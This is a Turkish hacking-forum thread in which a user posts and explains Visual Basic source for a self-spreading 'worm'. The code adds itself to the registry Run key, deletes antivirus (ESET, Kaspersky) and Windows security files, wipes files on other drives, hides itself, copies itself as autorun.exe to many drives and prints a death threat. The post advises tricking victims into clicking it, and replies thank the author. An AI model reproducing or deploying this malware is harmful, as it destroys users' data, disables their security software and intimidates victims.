İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Worm (solucan) Virüsü Yapımı

14-01-2017 22:27
#1
kskhack - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2015
Nereden:
KARŞIYAKA
Yaş:
21
Mesajlar:
97
Teşekkür (Etti):
146
Teşekkür (Aldı):
11
Konular:
41
selamün aleyküm size bugün Worm virüsü yapımını anlatacağım bazı yerler alıntı bazı yerler ise kendi yazımdır. Forumda çok fazla Web Hack üzerine yoğunlaşma var bende bu yoğunlaşmayı birazda virüs yapma gibi konulara çekmeye çalışacağım.Değişik bilgiler paylaşacağım,fazla uzattım geçelim yapmaya;

Arkadaşlar solucanlar karşı tarafa sizin belirlediğiniz komutları vererek delik açar ve bir daha ki gelişiniz için hazır tutar.Hatta kendini kopyalayarak sisteme yayılır.Solucanı tanımlamak sabaha kadar sürer ama bende daha yeni yeni işin sırrını çözmekteyim.Size bir araya getirdiğim kodları vererek ışık tutmaya çalışacağım.Öncelikle kodu tamamen bir göstereyim.

Kod:
Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WIND OWS\ \CURRENTVERSION\\RUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
On Error Resume Next
Kill "C:\\Program Files\\ESET"
Kill ("C:\\Program Files\\ESET")
Kill "C:\\Program Files\\Kaspersky\\*.*"
Kill "C:\\WINDOWS\\security\\*.*"
Kill "H:\\*.*"
Kill "C:\\********s and Settings\\All Users\\Desktop\\*.*"
Kill ("C:\\Program files\\Eset\\*.*")
App.TaskVisible = False
Visible = False
Me.Hide
on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
Shell App.Path + "/" + App.EXEName + ".exe"
On Error Resume Next
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system32\\twainss.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system\\clipboards.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "D:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "F:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "H:\\root.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "A:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\program data.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "B:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "E:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "I:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "K:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "F:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "I:\\system.exe"
On Error Resume Next
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
MsgBox "Secruty Center Active"
Printer.Print "Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin..."
On Error Resume Next
End Sub

Kendiniz benim kodlarımla bir solucan oluşturmak istiyorsanız forma aynen bunları yapıştırın.Yok biz açıklamasını istiyoruz.Kendimiz komutlandırmak istiyoruz derseniz aşağıyı okuyun.


Arkadaşlar kodları bir ele alalım.Yapacağımız solucanın ile komutu şu:


Kod:
Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WIND OWS\ \CURRENTVERSION\\RUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"

Şu anlama geliyor.Kurban yaptığımız solucanı açınca regedit kayıtlarına solucan kendisini ekleyor.Böylece Windowsla birlikte kendini başlatıyor.Eğer yapacağınız solucan sistemle başlasın diyorsanız bu kodu ekleyin.

İkinci Kod:


Kod:
On Error Resume Next
Kill "C:\\Program Files\\ESET"
Kill ("C:\\Program Files\\ESET")
Kill "C:\\Program Files\\Kaspersky\\*.*"
Kill "C:\\WINDOWS\\security\\*.*"
Kill "H:\\*.*"
Kill "C:\\********s and Settings\\All Users\\Desktop\\*.*"
Kill ("C:\\Program files\\Eset\\*.*")
App.TaskVisible = False
Visible = False
Me.Hide

Burada ise Solucan Eset ve Kaspersky ın dosyalarını silerek yolunu açıyor.Ayrıca kendini görev çubuğundan gizliyor.

Diğer Kod:


Kod:
on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
Shell App.Path + "/" + App.EXEName + ".exe"
On Error Resume Next
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system32\\twainss.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system\\clipboards.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "D:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "F:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "H:\\root.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "A:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\program data.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "B:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "E:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "I:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "K:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "F:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "I:\\system.exe
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "C:\\WINDOWS\\system.exe

Burada ise birisi solucanı kapatırsa kapanmıyor.İkincisi Kendini Windowsun çeşitli klasörlerine ve sürücülerine kopyalıyor.Fakat burda önemli bir şeyde şu.Siz solucanı adama yedirmek için virüsü masaüstünde adama tıklatmanız lazım.Yada .rar yapıp adam tıkladığı zaman başlangıç klasörüne gitmesi lazım.Onun için adı system.exe olması gerekir başka bir ad ile olmaz

Diğer bir kod:

Kod:
On Error Resume Next
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
MsgBox "Secruty Center Active"
Printer.Print "Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin..."
On Error Resume Next
End Sub

Kodlar burada bitiyor.Son kısımdaki yer ise adama korku salmak.Kendi Kendine resimler açıyor tabi bunu değiştirebilirsiniz. Shell yazan kısmın devamından değişir.

İşte bu kadar siz dediklerimi yaparsanız ufak ve her tarafa bulaşan flash v.b bir solucan(worm) yapabilirsiniz.Ama benim kodlarımlada direk yapabilirsiniz.Bide unutmadan Formun visible özelligi False olsun ve ShowİnTaskbar da false olsun ki adam göremesin.

Bu kodlar dışında bilgi vermek de istiyorum.Worm virüsü çok güzel bir virüstür aslında,bu virüs sizin yaratıcılığınıza kalmış.Mesela Klonlama özelliği yerleştirirseniz her yere kendini klonlar kullanıcı birini silse on tane daha var. İnternette de bir sürü Solucan virüsü var aslında mesela çoğu kimsenin neden çıktığını bilmediği reklamlar da bir Worm virüsü aslında aşağıda örneklerini verdim.

İnternette sörf yaparken karşımıza çıkan küçük pencerelerde ilgi çekici şeyler bulunmaktadır. Bunlara tıkladığımızda solucan virüsü taşıyan dosyalar indirir. Tıkladığımız andan itibaren virüs bilgisayarımızda etkinleşir. Bazı penceredeki yazıların örnekleri;
Tebrikler 250 sms kazandınız telefonunuza indirmek için tıklayınız.
Tebrikler Amerika'ya gitme hakkını yakalamak için ücretsiz çekiliş kazandınız.
Tebrikler Amerika kapınızda.
Visa kartınıza bonus kazandınız.
Sitemize giren 1.000.000. kişisiniz. Bizden hediye şarkı kazandınız.
Bugün şanslı gününüzdesiniz. Bizden para ödülü kazandınız.
Tebrikler bizden saat kazandınız.
Değerli yorumlarınızı ve fikirlerinizi bekliyorum. Bu yazıların bazıları alıntıdır. Ama alıntı olarak tıpa tıp aynısını yazmadım bazı dokunuşlar yaptım düzeltmeler ve eklemeler yaptım.

İyi Forumlar...
kSKHACK HERYERDE!!
NitrojenIOI, AnimeciShirin Teşekkür etti.

14-01-2017 22:28
#2
Kurtga - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2017
Nereden:
.
Yaş:
28
Mesajlar:
811
Teşekkür (Etti):
114
Teşekkür (Aldı):
143
Konular:
87
İşime yarayabilir, yazınızı arşivime ''.txt'' olarak kaydettim.
Kullanıcı İmzası
Scripter
14-01-2017 22:29
#3
Teamkill - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2017
Nereden:
NewYork
Mesajlar:
16
Teşekkür (Etti):
5
Teşekkür (Aldı):
1
Konular:
2
Teşekkürler .
Kullanıcı İmzası
Fotoshop : %50
MYSQL : %60
Hack : % 70
WebSite : %90
Programlama : %50
14-01-2017 22:31
#4
AJEXA - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2013
Nereden:
Jüpiter
Mesajlar:
6.943
Teşekkür (Etti):
1145
Teşekkür (Aldı):
2469
Konular:
372
* yerler d o cu m en t s
16-07-2017 13:12
#5
Üyelik tarihi:
01/2017
Mesajlar:
35
Teşekkür (Etti):
3
Teşekkür (Aldı):
0
Konular:
4
Ve Aleyküm Selam.
Elllerine sağlık. Bunu VS2015'de yapabiliyormuyuz yoksa VB mi gerekli.
Konu Silver Rookie tarafından (16-07-2017 13:24 Saat 13:24 ) değiştirilmiştir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı